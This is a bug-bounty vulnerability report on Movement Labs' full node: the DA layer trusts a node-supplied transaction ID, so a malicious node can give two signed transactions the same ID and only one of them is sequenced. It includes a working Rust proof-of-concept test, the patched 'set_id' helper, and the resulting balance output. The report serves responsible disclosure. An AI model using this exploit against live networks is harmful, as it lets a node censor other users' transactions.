41714 [BC-High] tampering the id of signed transactions to prevent others from executing

#41714 [BC-High] Tampering the ID of signed transactions to prevent others from executing

Submitted on Mar 17th 2025 at 18:32:40 UTC by @Capybara for Attackathon | Movement Labs

  • Report ID: #41714

  • Report Type: Blockchain/DLT

  • Report severity: High

  • Target: https://github.com/immunefi-team/attackathon-movement/tree/main/networks/movement/movement-full-node

  • Impacts:

    • Causing network processing nodes to process transactions from the mempool beyond set parameters

Description

Vulnerability Details

The format of transactions submitted to the sequencer

Transactions are represented as:

pub struct Transaction {
	data: Vec<u8>,
	application_priority: u64,
	sequence_number: u64,
	id: Id,
}

data is a SignedTransaction turned into a bytes array:

pub struct SignedTransaction {
    /// The raw transaction
    raw_txn: RawTransaction,

    /// Public key and signature to authenticate
    authenticator: TransactionAuthenticator,

    /// A cached size of the raw transaction bytes.
    /// Prevents serializing the same transaction multiple times to determine size.
    #[serde(skip)]
    raw_txn_size: OnceCell<usize>,

    /// A cached size of the authenticator.
    /// Prevents serializing the same authenticator multiple times to determine size.
    #[serde(skip)]
    authenticator_size: OnceCell<usize>,

    /// A cached hash of the transaction.
    #[serde(skip)]
    committed_hash: OnceCell<HashValue>,
}

When the DA layer receives a Transaction before including it in the mempool it verifies the following:

  • The transaction's signature is valid

  • The transaction ID does not exist in the mempool pool already

During this process, there are no checks to validate whether the transaction id received in the blob is legit, or an arbitrary value set by a malicious node.

pub struct Transaction {
	data: Vec<u8>,
	application_priority: u64,
	sequence_number: u64,
	id: Id, // <<-----
}

This value should be recalculated instead of blindly trusting the node submitting the transaction to set the correct id for the transaction.

Tampering the ID to prevent another transaction from being added to the mempool

Suppose there are 2 transactions, one is from Bob with ID 0xAA and the other one is from Alice with ID 0xBB.

[
		Bob_Transaction {
			data: Vec<u8>,
			application_priority: 0,
			sequence_number: 0,
			id: 0xAA,
		},
		Alice_Transaction {
			data: Vec<u8>,
			application_priority: 0,
			sequence_number: 0,
			id: 0xBB,
		}
]

When submitting a batch of transaction blobs a node can't manipulate the value inside .data because it is signed and the DA layer verifies its signature.

But there are no checks on the validity of the ID in the DA layer, therefore, the node can manually set the ID of Bob_Transaction to be the one of Alice_Transaction and submit the blobs:

[
		Bob_Transaction {
			data: Vec<u8>,
			application_priority: 0,
			sequence_number: 0,
			id: 0xBB,
		},
		Alice_Transaction {
			data: Vec<u8>,
			application_priority: 0,
			sequence_number: 0,
			id: 0xBB,
		}
]

As a consequence, only one of the transactions will be sequenced, because the system believes he already added to the mempool the other transaction based on its ID.

Example

Bob sends funds to Alice in a transaction and Alice sends an NFT to Bob in a different transaction.

Maliciously manipulating transaction IDs in a batch of txs allows for only one of the 2 transactions to get processed.

Impact Details

Causing network processing nodes to process transactions beyond set parameters. Tampering the ID of signed transactions may prevent others from executing.

Proof of Concept

Proof of Concept

In the proof of concept below Alice sends funds to Bob in a transaction and Bob sends funds to Alice in a different transaction.

Maliciously, a node sets Alice's transaction ID to the same value as Bob's transaction ID before submitting a batch write to the DA layer.

As a result, only one of the transactions gets processed.

Add the test to the file ./attackathon-movement/protocol-units/da/movement/protocol/tests/src/test/e2e/raw/sequencer.rs, import modules if needed.

#[tokio::test]
async fn test_light_node_capy_poc() -> Result<(), anyhow::Error> {
   let mut client = LightNodeServiceClient::connect("http://0.0.0.0:30730").await?;

   // Create accounts
   let alice = LocalAccount::generate(&mut rand::rngs::OsRng);
   let bob = LocalAccount::generate(&mut rand::rngs::OsRng);

   println!("alice address: {:?}", alice.address());
   println!("bob address: {:?}", bob.address());

   // Fund account
   let faucet_client = FaucetClient::new(Url::parse("http://0.0.0.0:30732").expect("reason"), Url::parse("http://0.0.0.0:30731").expect("reason"));
   faucet_client.fund(alice.address(), 1_000_000).await.expect("Failed to fund sender account");
   faucet_client.fund(bob.address(), 1_000_000).await.expect("Failed to fund sender account");

   // Create txs
   let amount1: u64 = 100_000;
   let amount2: u64 = 10_000;
   let coin = TypeTag::from_str("0x1::aptos_coin::AptosCoin").expect("");
   // Create a raw transaction from Alice to Bob.
   let transaction_builder1 = TransactionBuilder::new(
       TransactionPayload::EntryFunction(EntryFunction::new(
           ModuleId::new(AccountAddress::from_str_strict("0x1")?, Identifier::new("coin")?),
           Identifier::new("transfer")?,
           vec![coin.clone()],
           vec![to_bytes(&bob.address())?, to_bytes(&amount1)?],
       )),
       SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs() + 200,
       ChainId::new(27u8),
   )
       .sender(alice.address())
       .sequence_number(alice.sequence_number())
       .max_gas_amount(5_000)
       .gas_unit_price(100);
   // Create a raw transaction from Bob to Alice.
   let transaction_builder2 = TransactionBuilder::new(
       TransactionPayload::EntryFunction(EntryFunction::new(
           ModuleId::new(AccountAddress::from_str_strict("0x1")?, Identifier::new("coin")?),
           Identifier::new("transfer")?,
           vec![coin.clone()],
           vec![to_bytes(&alice.address())?, to_bytes(&amount2)?],
       )),
       SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs() + 200,
       ChainId::new(27u8),
   )
       .sender(bob.address())
       .sequence_number(bob.sequence_number())
       .max_gas_amount(5_000);

   // create the blob write
   let signed_transaction1 = alice.sign_with_transaction_builder(transaction_builder1);
   let signed_transaction2 = bob.sign_with_transaction_builder(transaction_builder2);
   let txn_hash1 = signed_transaction1.committed_hash();
   let txn_hash2 = signed_transaction2.committed_hash();
   let mut transactions = vec![];
   let serialized_aptos_transaction1 = bcs::to_bytes(&signed_transaction1)?;
   let serialized_aptos_transaction2 = bcs::to_bytes(&signed_transaction2)?;
   let mut movement_transaction1 = Transaction::new(
       serialized_aptos_transaction1,
       0,
       signed_transaction1.sequence_number(),
   );
   let mut movement_transaction2 = Transaction::new(
       serialized_aptos_transaction2,
       0,
       signed_transaction2.sequence_number(),
   );

   // Manually set to Tx 1, the ID of Tx2
   movement_transaction1.set_id(movement_transaction2.id().as_bytes().clone());
   
   // Serialize the request
   let serialized_transaction1 = serde_json::to_vec(&movement_transaction1)?;
   let serialized_transaction2 = serde_json::to_vec(&movement_transaction2)?;
   transactions.push(BlobWrite { data: serialized_transaction1 });
   transactions.push(BlobWrite { data: serialized_transaction2 });
   let batch_write = BatchWriteRequest { blobs: transactions };

   // Submit to the DA a batch write request with both transactions
   let batch_write_reponse = client.batch_write(batch_write).await?;

   Ok(())
}

The test is run in a custom malicious node that communicates with the DA layer to submit blobs of transactions. The set_id function is added by the malicious node to ./attackathon-movement/util/movement-types/src/transaction.rs:

  // @audit capybara: custom id
	pub fn set_id(&mut self, new_id: [u8; 32]) {
		self.id = Id(new_id);
	}

The test will print Alice and Bob addresses like this:

running 1 test
alice address: 9c5e38abf9bbecaf5b43fc1b2296301d4768e6d68541d1db9389027f0dabb93b
bob address: ef6673ffd511bc7ebd32dfdd3544030069c9e4177bc44ed3bfba46ca7a768791
test test::e2e::raw::sequencer::test_light_node_capy_poc ... ok

Different values will be shown to you

Verify the balances of Alice and Bob by sending an HTTP request to the REST endpoint:

curl "http://localhost:30731/v1/accounts/${ACCOUNT}/resources" | jq '.[1].data.coin.value'

Replace ${ACCOUNT} with the address of the account

Alice will have 1010000 coins and Bob 989300, which means Alice's transfer did not executed, but Bob's transfer did.

alice: 1010000
bob:   989300

Was this helpful?